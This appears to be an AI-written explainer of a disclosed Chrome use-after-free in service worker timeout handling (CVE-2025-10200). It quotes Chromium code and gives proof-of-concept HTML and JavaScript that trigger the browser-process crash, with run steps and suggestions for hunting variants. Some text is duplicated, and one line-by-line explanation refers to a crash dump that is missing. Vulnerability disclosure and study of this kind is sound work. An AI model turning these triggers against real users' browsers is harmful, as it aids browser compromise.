int ServiceWorkerVersion::StartRequestWithCustomTimeout()
{
  ...
  auto request = std::make_unique<InflightRequest>(std::move(error_callback), clock_->Now(), tick_clock_->NowTicks(),event_type);
  InflightRequest* request_rawptr = request.get();
  int request_id = inflight_requests_.Add(std::move(request));
  ...
  auto [iter, is_inserted] = request_timeouts_.emplace(
      request_id, event_type, expiration_time, timeout_behavior);
  ...
  request_rawptr->timeout_iter = iter;
  ...
}

When a request finishes, FinishRequestWithFetchCount() looks the request up by id, erases the timeout entry through timeout_iter, and removes the request:

Text
bool ServiceWorkerVersion::FinishRequestWithFetchCount() {
  InflightRequest* request = inflight_requests_.Lookup(request_id);
  ...
  request_timeouts_.erase(request->timeout_iter);
  inflight_requests_.Remove(request_id);
  ...
}

Separately, a timer runs every 30 seconds (kTimeoutTimerDelay = base::Seconds(30)) and walks request_timeouts_ looking for expired entries. The suspicious part is that OnTimeoutTimer() does not work on the member set directly. It swaps the member set into a local variable, iterates the local copy, and swaps it back at the end:

Text
void ServiceWorkerVersion::OnTimeoutTimer() {
  ...
  std::set<InflightRequestTimeoutInfo> request_timeouts;
  request_timeouts.swap(request_timeouts_);
  auto timeout_iter = request_timeouts.begin();
  while (timeout_iter != request_timeouts.end()) {
    const InflightRequestTimeoutInfo& info = *timeout_iter;
    if (!RequestExpired(info.expiration_time)) {
      break;
    }
    if (MaybeTimeoutRequest(info)) {
      ...
      }
    }
    timeout_iter = request_timeouts.erase(timeout_iter);
  }
  ...
  request_timeouts_.swap(request_timeouts);
  ...
}

For an expired request, MaybeTimeoutRequest() runs the request's error_callback and then removes the InflightRequest from inflight_requests_:

Text
bool ServiceWorkerVersion::MaybeTimeoutRequest(
    const InflightRequestTimeoutInfo& info) {
  InflightRequest* request = inflight_requests_.Lookup(info.id);
  ...
  std::move(request->error_callback)
      .Run(blink::ServiceWorkerStatusCode::kErrorTimeout);
  inflight_requests_.Remove(info.id);
  return true;
}

The question the researcher asked is what happens if a new request is added to request_timeouts_ while these operations are in progress. The answer is that it is possible: the activation request's error_callback leads to a new fetch request being started.

Exploitation

Step 1: register a service worker and reload

The page registers a worker with scope / and reloads after one second, so the navigation fetch is intercepted by the worker:

HTML
<script>
navigator.serviceWorker.register("/svcworker0.js", {scope: "/"});
setTimeout(function(){location.reload()},1000);
</script>

Step 2: delay activation past the request timeout

The worker's activate handler holds the event open with waitUntil() for 332000 ms, well over five minutes:

JavaScript
const p1 = new Promise((resolve, reject) => {
  setTimeout(() => {
    resolve("foo");
  }, 332000);
});

this.onactivate = function (e) {
  e.waitUntil(p1);
};

The activation request therefore expires (kRequestTimeout = 5 minutes) before the handler returns. The 332000 ms figure is chosen to exceed kRequestTimeout + kTimeoutTimerDelay = 5 minutes + 30s, so OnTimeoutTimer() is guaranteed to run after the activation request expires but before the activate handler returns. (The report writes this sum as 3300000ms; the arithmetic as stated is 5 minutes plus 30 seconds.)

Step 3: the timeout callback starts a fetch request

When the timer fires, MaybeTimeoutRequest() runs the activation request's error_callback, which is ServiceWorkerRegistration::OnActivateEventFinished(). That call chain ends up creating a new InflightRequestTimeoutInfo for the pending fetch operation:

Text
ServiceWorkerVersion::MaybeTimeoutRequest()
  ServiceWorkerRegistration::OnActivateEventFinished()
    ServiceWorkerVersion::SetStatus()
      ServiceWorkerControlleeRequestHandler::ContinueWithActivatedVersion()
        ServiceWorkerControlleeRequestHandler::CreateLoaderAndStartRequest()
          NavigationURLLoaderImpl::MaybeStartLoader()
            NavigationURLLoaderImpl::StartInterceptedRequest()
              NavigationURLLoaderImpl::CreateThrottlingLoaderAndStart()
                ThrottlingURLLoader::CreateLoaderAndStart()
                  ThrottlingURLLoader::Start()
                    ThrottlingURLLoader::StartNow()
                      URLLoaderFactory::CreateLoaderAndStart()
                        SingleRequestURLLoaderFactory::CreateLoaderAndStart()
                          SingleRequestURLLoaderFactory::HandlerState::CreateLoaderAndStart()
                            ServiceWorkerMainResourceLoader::StartRequest()
                              ServiceWorkerFetchDispatcher::StartWorker()
                                ServiceWorkerFetchDispatcher::DispatchFetchEvent()
                                  ServiceWorkerVersion::StartRequest(()
                                    ServiceWorkerVersion::StartRequestWithCustomTimeout()

As usual, StartRequestWithCustomTimeout() adds the new InflightRequest to inflight_requests_ and the new InflightRequestTimeoutInfo to request_timeouts_.

Step 4: the swap loses the new entry

Because OnTimeoutTimer() swapped the member set into the local request_timeouts, the new timeout entry lands in the member request_timeouts_ but not in the local copy being iterated. After the timeout checks and callbacks, the second swap (request_timeouts_.swap(request_timeouts)) puts the new entry into the local variable and out of the member. When OnTimeoutTimer() returns, the local variable goes out of scope and the new InflightRequestTimeoutInfo is freed.

The two containers are now inconsistent: the new InflightRequest is still in inflight_requests_, but there is no corresponding InflightRequestTimeoutInfo in request_timeouts_.

Step 5: the fetch handler returns and the stale iterator is used

The worker's fetch handler is short:

JavaScript
this.onfetch = function (e) {
  e.waitUntil(new Promise(resolve => setTimeout(resolve, 1)));
};

When it returns, FinishRequestWithFetchCount() runs and erases through the stale request->timeout_iter, which is a use-after-free (and/or double free).

Step 6: run the PoC

  1. Run the PoC with NodeJS: node UAF_FinishRequestWithFetchCount_PoC.js
  2. Enter http://localhost:12345/ from the Chrome browser

The crash is in the browser process. The reporter attached a crash state from MacOS (UAF_FinishRequestWithFetchCount_crashState_Mac.txt) and an ASAN report (UAF_FinishRequestWithFetchCount_ASAN.txt). The Windows crash state shows an access violation reading a freed tree node inside std::__Cr::__tree::__remove_node_pointer, reached from ServiceWorkerVersion::FinishRequestWithFetchCount at service_worker_version.cc line 852, via ServiceWorkerFetchDispatcher::ResponseCallback::HandleResponse and OnFallback:

Root cause

The mistake is the swap-based iteration in OnTimeoutTimer(). By moving request_timeouts_ into a local set, the function iterates a snapshot while callbacks it invokes can still insert into the member set. Those insertions are invisible to the loop, and the final swap moves them into the local set, which is destroyed on return. The InflightRequest keeps a timeout_iter that points into freed memory, and FinishRequestWithFetchCount() later erases through it.

Nothing in MaybeTimeoutRequest() or the swap logic guards against a new request being added during callback execution. The report does not describe any additional defence that would have caught this.

Impact

The reporter describes the bug as potentially exploitable to achieve one-click remote code execution in the browser process, outside the sandbox. That is a hedge: the report demonstrates a browser-process crash and a use-after-free, not a working exploit chain. The precondition is that a victim visits a crafted page that registers a service worker and triggers the timing described above.

Fix

The report does not describe the fix that was applied.

Variants to test

  1. Other callbacks invoked from timeout handling that can start new requests. A positive result is a new InflightRequestTimeoutInfo created while the timeout loop is running and a later crash in FinishRequestWithFetchCount().
  2. Different request types (install, activate, fetch) whose expiry callbacks re-enter request creation. A positive result is the same container inconsistency, visible as a missing timeout entry for a live request.
  3. Timing variations around kRequestTimeout and kTimeoutTimerDelay. A positive result is a reliable crash when the handler returns after the timer has run but before the request is finished.
  4. Similar swap-and-iterate patterns elsewhere in the codebase where callbacks can mutate the member container. A positive result is a dangling iterator or a freed entry referenced after the function returns.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 17 min read.

What happened, in plain words

A security researcher named Looben Yang found a bug in Google Chrome and reported it through Google's Chrome VRP (Vulnerability Reward Program, a scheme that pays people for reporting security bugs). The bug is tracked as CVE-2025-10200. A CVE is a public identifier given to a specific security flaw so people can talk about it unambiguously. The flaw is a use-after-free, a class of bug where a program frees a piece of memory and then later uses it as if it were still valid. The affected part of Chrome is the service worker code, and the researcher was paid a bounty of 43,000 USD. The report was disclosed on 9 September 2025.

A service worker is a script that a website can install into the browser to run in the background, separate from the page itself. It can intercept network requests, cache files and keep working when the tab is closed. Because it sits between the page and the network, it is a powerful feature, and Chrome runs it in a separate process from the web page for safety.

In this report, a specially crafted web page can make Chrome free a small bookkeeping object while another object still holds a pointer to it. Later, Chrome follows that stale pointer and touches memory that has already been released. The researcher says this may potentially be exploited to achieve one-click remote code execution in the browser process, outside the sandbox. Remote code execution means an attacker gets their own code running on the victim's machine. The sandbox is the isolation layer Chrome puts around web content so that a bug in a page cannot easily take over the whole browser. The word "potentially" matters: the report demonstrates a crash and a use-after-free, not a complete working exploit.

Context

This is a use-after-free in Chrome's service worker implementation, tracked as CVE-2025-10200 and reported through the Chrome VRP by Looben Yang. The affected component is ServiceWorkerVersion, the browser-process object that connects a registered service worker script with a running worker instance and tracks the requests (install, activate, fetch and so on) that the worker is handling.

To unpack that: a browser process is the main Chrome process that manages tabs, networking and the browser's own state. Web pages normally run in separate, sandboxed renderer processes. A service worker has a lifecycle with stages. Install runs when the worker is first registered. Activate runs when a new version of the worker takes over. Fetch runs whenever the worker intercepts a network request. ServiceWorkerVersion is the browser-side object that keeps track of one running worker and the requests it is currently handling.

Those requests are asynchronous and can take time, so ServiceWorkerVersion keeps them in two containers. Asynchronous means the code starts a task and does not wait for it to finish before doing other things; the result arrives later. A container here is a data structure that holds a collection of items. In-flight requests live in an IDMap keyed by request id:

Text
base::IDMap<std::unique_ptr<InflightRequest>> inflight_requests_;

Line by line: base::IDMap is a Chrome helper that stores items and gives each one a numeric id, so you can look an item up later by that id. std::unique_ptr<InflightRequest> means each stored item is an InflightRequest object owned exclusively by the map; when the map removes it, the object is destroyed automatically. inflight_requests_ is the member variable, a field belonging to the ServiceWorkerVersion object, that holds all requests currently being processed.

Because requests are also subject to expiry, a parallel set tracks their timeout information:

Text
std::set<InflightRequestTimeoutInfo> request_timeouts_;

A std::set is a container that keeps its items sorted and free of duplicates. InflightRequestTimeoutInfo is a small record describing when a request should time out. request_timeouts_ is the member set that holds one such record per in-flight request.

Each InflightRequest holds a timeout_iter member that points at its corresponding entry in request_timeouts_. An iterator is an object that refers to a specific position inside a container, like a bookmark. The two containers are supposed to stay in sync: one entry in each, linked by that iterator.

The bug lets a crafted web page free an InflightRequestTimeoutInfo object while an InflightRequest still refers to it, and the dangling iterator is later dereferenced in ServiceWorkerVersion::FinishRequestWithFetchCount(). Dereferencing means following a pointer to read or use the thing it points at. If the thing has already been freed, the program is reading memory it no longer owns, which is the use-after-free. The reporter states this may potentially be exploited to achieve one-click remote code execution in the browser process, outside the sandbox.

Setup

The bug was reproduced on:

Item Value
Version Google Chrome 141.0.7354.4 (Official Build) dev (64-bit) (cohort: Control)
Revision [redacted]-refs/branch-heads/7354@{#5}
OS Windows 11 Version 24H2 (Build 26100.4946)
JavaScript V8 14.1.56

The version line tells you which Chrome build was used: a developer-channel build, 64-bit, on Windows 11. The revision is the exact source-code commit that build was made from. V8 is Chrome's JavaScript engine, the part that runs JavaScript code.

The reproduction is a small NodeJS server that serves a page and a service worker script. NodeJS is a program that lets JavaScript run outside a browser, commonly used to run small local web servers. The reporter believes the bug probably affects all operating systems across all release channels. A bisect attributes the introduction of the bug to a commit dated 2022-07-13 11:21 AM:

Text
https://source.chromium.org/chromium/chromium/src/+/[redacted]

A bisect is a technique for finding which code change introduced a bug, by testing versions between a known-good point and a known-bad point. The link points at the Chromium source-code browser for that commit. Chromium is the open-source project Chrome is built from.

Finding it

The researcher looked at how the two containers are maintained. When a request starts, StartRequestWithCustomTimeout() creates the InflightRequest, adds it to inflight_requests_, creates the matching InflightRequestTimeoutInfo in request_timeouts_, and stores the returned iterator in the request:

Text
int ServiceWorkerVersion::StartRequestWithCustomTimeout()
{
  ...
  auto request = std::make_unique<InflightRequest>(std::move(error_callback), clock_->Now(), tick_clock_->NowTicks(),event_type);
  InflightRequest* request_rawptr = request.get();
  int request_id = inflight_requests_.Add(std::move(request));
  ...
  auto [iter, is_inserted] = request_timeouts_.emplace(
      request_id, event_type, expiration_time, timeout_behavior);
  ...
  request_rawptr->timeout_iter = iter;
  ...
}

Line by line: the function signature says it returns an integer, which is the new request's id. std::make_unique<InflightRequest>(...) creates a new request object and hands ownership to a smart pointer. The arguments record the callback to run on error, the current wall-clock time, the current tick time (a monotonic clock used for measuring durations) and the event type. request.get() takes a raw pointer to the same object, so the code can still reach it after ownership is moved into the map. inflight_requests_.Add(std::move(request)) moves the object into the map and returns its id. request_timeouts_.emplace(...) inserts a new timeout record into the set and returns a pair: an iterator to the inserted entry and a flag saying whether it was actually inserted. request_rawptr->timeout_iter = iter stores that iterator inside the request, so the request can later find its own timeout entry. The ... lines are code the report leaves out.

When a request finishes, FinishRequestWithFetchCount() looks the request up by id, erases the timeout entry through timeout_iter, and removes the request:

Text
bool ServiceWorkerVersion::FinishRequestWithFetchCount() {
  InflightRequest* request = inflight_requests_.Lookup(request_id);
  ...
  request_timeouts_.erase(request->timeout_iter);
  inflight_requests_.Remove(request_id);
  ...
}

Line by line: Lookup(request_id) finds the request in the map by its id and returns a raw pointer to it. request_timeouts_.erase(request->timeout_iter) removes the matching timeout record from the set, using the stored iterator as the address of the entry. inflight_requests_.Remove(request_id) then removes the request itself from the map. If the iterator points at memory that has already been freed, that erase call is the use-after-free.

Separately, a timer runs every 30 seconds (kTimeoutTimerDelay = base::Seconds(30)) and walks request_timeouts_ looking for expired entries. The suspicious part is that OnTimeoutTimer() does not work on the member set directly. It swaps the member set into a local variable, iterates the local copy, and swaps it back at the end:

Text
void ServiceWorkerVersion::OnTimeoutTimer() {
  ...
  std::set<InflightRequestTimeoutInfo> request_timeouts;
  request_timeouts.swap(request_timeouts_);
  auto timeout_iter = request_timeouts.begin();
  while (timeout_iter != request_timeouts.end()) {
    const InflightRequestTimeoutInfo& info = *timeout_iter;
    if (!RequestExpired(info.expiration_time)) {
      break;
    }
    if (MaybeTimeoutRequest(info)) {
      ...
      }
    }
    timeout_iter = request_timeouts.erase(timeout_iter);
  }
  ...
  request_timeouts_.swap(request_timeouts);
  ...
}

Line by line: a local set called request_timeouts is declared. request_timeouts.swap(request_timeouts_) exchanges the contents of the local set and the member set, so the member set becomes empty and the local set holds all the timeout records. timeout_iter starts at the first entry. The while loop runs until the end of the set. info is a reference to the current entry. If the entry has not expired, the loop breaks, because the set is sorted by expiry and later entries will not have expired either. If it has expired, MaybeTimeoutRequest(info) is called, which may run a callback. Then the entry is erased from the local set and the iterator moves to the next one. After the loop, request_timeouts_.swap(request_timeouts) swaps the remaining entries back into the member set.

For an expired request, MaybeTimeoutRequest() runs the request's error_callback and then removes the InflightRequest from inflight_requests_:

Text
bool ServiceWorkerVersion::MaybeTimeoutRequest(
    const InflightRequestTimeoutInfo& info) {
  InflightRequest* request = inflight_requests_.Lookup(info.id);
  ...
  std::move(request->error_callback)
      .Run(blink::ServiceWorkerStatusCode::kErrorTimeout);
  inflight_requests_.Remove(info.id);
  return true;
}

Line by line: the function takes a timeout record by reference. It looks up the matching request in the map using the record's id. std::move(request->error_callback).Run(...) takes the request's error callback and runs it, passing a status code that says the request timed out. A callback is a function that is stored and called later, when something happens. inflight_requests_.Remove(info.id) then removes the request from the map. The function returns true to say it handled the timeout.

The question the researcher asked is what happens if a new request is added to request_timeouts_ while these operations are in progress. The answer is that it is possible: the activation request's error_callback leads to a new fetch request being started. Re-entrancy is the situation where a function is running and, before it finishes, something it calls ends up running code that touches the same data again.

Exploitation

Step 1: register a service worker and reload

The page registers a worker with scope / and reloads after one second, so the navigation fetch is intercepted by the worker:

HTML
<script>
navigator.serviceWorker.register("/svcworker0.js", {scope: "/"});
setTimeout(function(){location.reload()},1000);
</script>

Line by line: the <script> tags mark JavaScript inside an HTML page. navigator.serviceWorker.register(...) asks the browser to install the service worker script at /svcworker0.js. The {scope: "/"} option says the worker controls the whole site, so every request under / can be intercepted. setTimeout(function(){location.reload()},1000) schedules a page reload after 1000 milliseconds, which is one second. The reload is deliberate: it produces a navigation request that the freshly registered worker can intercept, which is what creates the fetch request later in the chain.

Step 2: delay activation past the request timeout

The worker's activate handler holds the event open with waitUntil() for 332000 ms, well over five minutes:

JavaScript
const p1 = new Promise((resolve, reject) => {
  setTimeout(() => {
    resolve("foo");
  }, 332000);
});

this.onactivate = function (e) {
  e.waitUntil(p1);
};

Line by line: new Promise((resolve, reject) => {...}) creates a promise, an object representing a value that will arrive later. The function passed to it is the executor, which starts the work. setTimeout(() => { resolve("foo"); }, 332000) waits 332000 milliseconds, about 5 minutes and 32 seconds, then resolves the promise with the string "foo". this.onactivate = function (e) {...} registers the handler that runs when the worker is being activated. e.waitUntil(p1) tells the browser that the activation event is not finished until the promise p1 settles, so the activation stays open for those 332000 ms.

The activation request therefore expires (kRequestTimeout = 5 minutes) before the handler returns. The 332000 ms figure is chosen to exceed kRequestTimeout + kTimeoutTimerDelay = 5 minutes + 30s, so OnTimeoutTimer() is guaranteed to run after the activation request expires but before the activate handler returns. (The report writes this sum as 3300000ms; the arithmetic as stated is 5 minutes plus 30 seconds.)

Step 3: the timeout callback starts a fetch request

When the timer fires, MaybeTimeoutRequest() runs the activation request's error_callback, which is ServiceWorkerRegistration::OnActivateEventFinished(). That call chain ends up creating a new InflightRequestTimeoutInfo for the pending fetch operation:

Text
ServiceWorkerVersion::MaybeTimeoutRequest()
  ServiceWorkerRegistration::OnActivateEventFinished()
    ServiceWorkerVersion::SetStatus()
      ServiceWorkerControlleeRequestHandler::ContinueWithActivatedVersion()
        ServiceWorkerControlleeRequestHandler::CreateLoaderAndStartRequest()
          NavigationURLLoaderImpl::MaybeStartLoader()
            NavigationURLLoaderImpl::StartInterceptedRequest()
              NavigationURLLoaderImpl::CreateThrottlingLoaderAndStart()
                ThrottlingURLLoader::CreateLoaderAndStart()
                  ThrottlingURLLoader::Start()
                    ThrottlingURLLoader::StartNow()
                      URLLoaderFactory::CreateLoaderAndStart()
                        SingleRequestURLLoaderFactory::CreateLoaderAndStart()
                          SingleRequestURLLoaderFactory::HandlerState::CreateLoaderAndStart()
                            ServiceWorkerMainResourceLoader::StartRequest()
                              ServiceWorkerFetchDispatcher::StartWorker()
                                ServiceWorkerFetchDispatcher::DispatchFetchEvent()
                                  ServiceWorkerVersion::StartRequest(()
                                    ServiceWorkerVersion::StartRequestWithCustomTimeout()

This is a call chain, read top to bottom: each line is a function that calls the one below it. It starts in the timeout handler, goes through the service worker registration finishing activation, then through the navigation loader that was waiting for the worker to activate, and ends in StartRequestWithCustomTimeout(), the same function that creates a new in-flight request and its timeout record. The point is that the timeout callback is not a dead end: it can start new work, and that new work inserts into the very container the timer is iterating.

As usual, StartRequestWithCustomTimeout() adds the new InflightRequest to inflight_requests_ and the new InflightRequestTimeoutInfo to request_timeouts_.

Step 4: the swap loses the new entry

Because OnTimeoutTimer() swapped the member set into the local request_timeouts, the new timeout entry lands in the member request_timeouts_ but not in the local copy being iterated. After the timeout checks and callbacks, the second swap (request_timeouts_.swap(request_timeouts)) puts the new entry into the local variable and out of the member. When OnTimeoutTimer() returns, the local variable goes out of scope and the new InflightRequestTimeoutInfo is freed.

Going out of scope means the variable ceases to exist at the end of the function, and anything it owned is destroyed. So the new timeout record is destroyed even though the request it belongs to is still alive.

The two containers are now inconsistent: the new InflightRequest is still in inflight_requests_, but there is no corresponding InflightRequestTimeoutInfo in request_timeouts_.

Step 5: the fetch handler returns and the stale iterator is used

The worker's fetch handler is short:

JavaScript
this.onfetch = function (e) {
  e.waitUntil(new Promise(resolve => setTimeout(resolve, 1)));
};

Line by line: this.onfetch = function (e) {...} registers the handler that runs when the worker intercepts a fetch. e.waitUntil(new Promise(resolve => setTimeout(resolve, 1))) keeps the fetch event open for one millisecond, then lets it finish.

When it returns, FinishRequestWithFetchCount() runs and erases through the stale request->timeout_iter, which is a use-after-free (and/or double free). A double free is when the same memory is freed twice, which can also corrupt the allocator's bookkeeping.

Step 6: run the PoC

  1. Run the PoC with NodeJS: node UAF_FinishRequestWithFetchCount_PoC.js
  2. Enter http://localhost:12345/ from the Chrome browser

A PoC, or proof of concept, is a small program that demonstrates a bug. node runs the JavaScript file as a local server. localhost means this computer, and 12345 is the port the server listens on. Opening that address in Chrome loads the page that registers the worker and triggers the sequence.

The crash is in the browser process. The reporter attached a crash state from MacOS (UAF_FinishRequestWithFetchCount_crashState_Mac.txt) and an ASAN report (UAF_FinishRequestWithFetchCount_ASAN.txt). ASAN, AddressSanitizer, is a debugging tool that detects memory errors such as use-after-free. The Windows crash state shows an access violation reading a freed tree node inside std::__Cr::__tree::__remove_node_pointer, reached from ServiceWorkerVersion::FinishRequestWithFetchCount at service_worker_version.cc line 852, via ServiceWorkerFetchDispatcher::ResponseCallback::HandleResponse and OnFallback:

Line by line: Access violation - code c0000005 is the Windows error for touching memory the program is not allowed to touch. std::__Cr::__tree_min and __remove_node_pointer are internal functions of the C++ standard library's tree container, which is how the set is implemented. The mov rdx,qword ptr [rdx] instruction tries to load a value from the address held in the rdx register. The ds:5441554156415741=????????????????part shows that address, and the question marks mean the debugger could not read it. Thercommand prints the CPU registers.rdx=5441554156415741is the bad pointer value.rip` is the instruction pointer, the address of the instruction being executed. The other registers hold assorted values from the crash.

Those are the internal fields of a tree node: pointers to child nodes, a pointer to the parent, and a colour flag used by the red-black tree balancing algorithm. Mojo is Chrome's system for passing messages between processes and between parts of the browser.

Root cause

The mistake is the swap-based iteration in OnTimeoutTimer(). By moving request_timeouts_ into a local set, the function iterates a snapshot while callbacks it invokes can still insert into the member set. Those insertions are invisible to the loop, and the final swap moves them into the local set, which is destroyed on return. The InflightRequest keeps a timeout_iter that points into freed memory, and FinishRequestWithFetchCount() later erases through it.

A snapshot here means a copy of the contents at one moment in time. The loop sees only what was in the set when the swap happened, not anything added afterwards.

Nothing in MaybeTimeoutRequest() or the swap logic guards against a new request being added during callback execution. The report does not describe any additional defence that would have caught this.

Impact

The reporter describes the bug as potentially exploitable to achieve one-click remote code execution in the browser process, outside the sandbox. That is a hedge: the report demonstrates a browser-process crash and a use-after-free, not a working exploit chain. The precondition is that a victim visits a crafted page that registers a service worker and triggers the timing described above.

Fix

The report does not describe the fix that was applied.

Variants to test

  1. Other callbacks invoked from timeout handling that can start new requests. A positive result is a new InflightRequestTimeoutInfo created while the timeout loop is running and a later crash in FinishRequestWithFetchCount().
  2. Different request types (install, activate, fetch) whose expiry callbacks re-enter request creation. A positive result is the same container inconsistency, visible as a missing timeout entry for a live request.
  3. Timing variations around kRequestTimeout and kTimeoutTimerDelay. A positive result is a reliable crash when the handler returns after the timer has run but before the request is finished.
  4. Similar swap-and-iterate patterns elsewhere in the codebase where callbacks can mutate the member container. A positive result is a dangling iterator or a freed entry referenced after the function returns.

Glossary

  • API: an interface that lets one piece of software ask another to do something, like a menu of allowed operations.
  • ASAN (AddressSanitizer): a debugging tool that detects memory errors such as use-after-free and buffer overflows.
  • Asynchronous: work that starts now and finishes later, without blocking the rest of the program.
  • Bisect: finding the code change that introduced a bug by testing versions between a known-good and a known-bad point.
  • Browser process: the main Chrome process that manages tabs, networking and browser state, separate from the sandboxed renderer processes.
  • Bounty: a payment made for reporting a security bug.
  • Callback: a function stored and called later, when a particular event happens.
  • Chromium: the open-source project that Chrome is built from.
  • Container: a data structure that holds a collection of items.
  • CVE: a public identifier for a specific security vulnerability.
  • Dangling pointer / iterator: a pointer or iterator that refers to memory that has already been freed.
  • Dereference: follow a pointer or iterator to read or use the thing it points at.
  • Double free: freeing the same piece of memory twice, which can corrupt the allocator.
  • Error callback: a function run when an operation fails, here when a request times out.
  • Going out of scope: a variable ceasing to exist at the end of the block or function where it was declared, destroying what it owned.
  • IDMap: a Chrome container that stores items under numeric ids for later lookup.
  • In-flight request: a request that has been started but not yet finished.
  • Iterator: an object that refers to a position inside a container, like a bookmark.
  • Mojo: Chrome's system for passing messages between processes and components.
  • NodeJS: a runtime that lets JavaScript run outside a browser, often used for small local servers.
  • PoC (proof of concept): a small program that demonstrates a bug.
  • Promise: a JavaScript object representing a value that will arrive later.
  • Re-entrancy: a function being run again, or touching the same data again, before an earlier call has finished.
  • Remote code execution: an attacker getting their own code to run on the victim's machine.
  • Sandbox: an isolation layer that limits what web content can do, so a bug in a page cannot easily take over the whole browser.
  • Service worker: a script a website installs into the browser to run in the background and intercept network requests.
  • Snapshot: a copy of a container's contents at one moment in time.
  • std::set: a C++ container that keeps items sorted and free of duplicates.
  • std::unique_ptr: a C++ smart pointer that owns an object exclusively and destroys it when the pointer goes away.
  • Use-after-free: a bug where a program frees memory and then later uses it as if it were still valid.
  • V8: Chrome's JavaScript engine.
  • VRP (Vulnerability Reward Program): a scheme that pays people for reporting security bugs.

More by Looben Yang

View all

50 more disclosed reports, best first.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.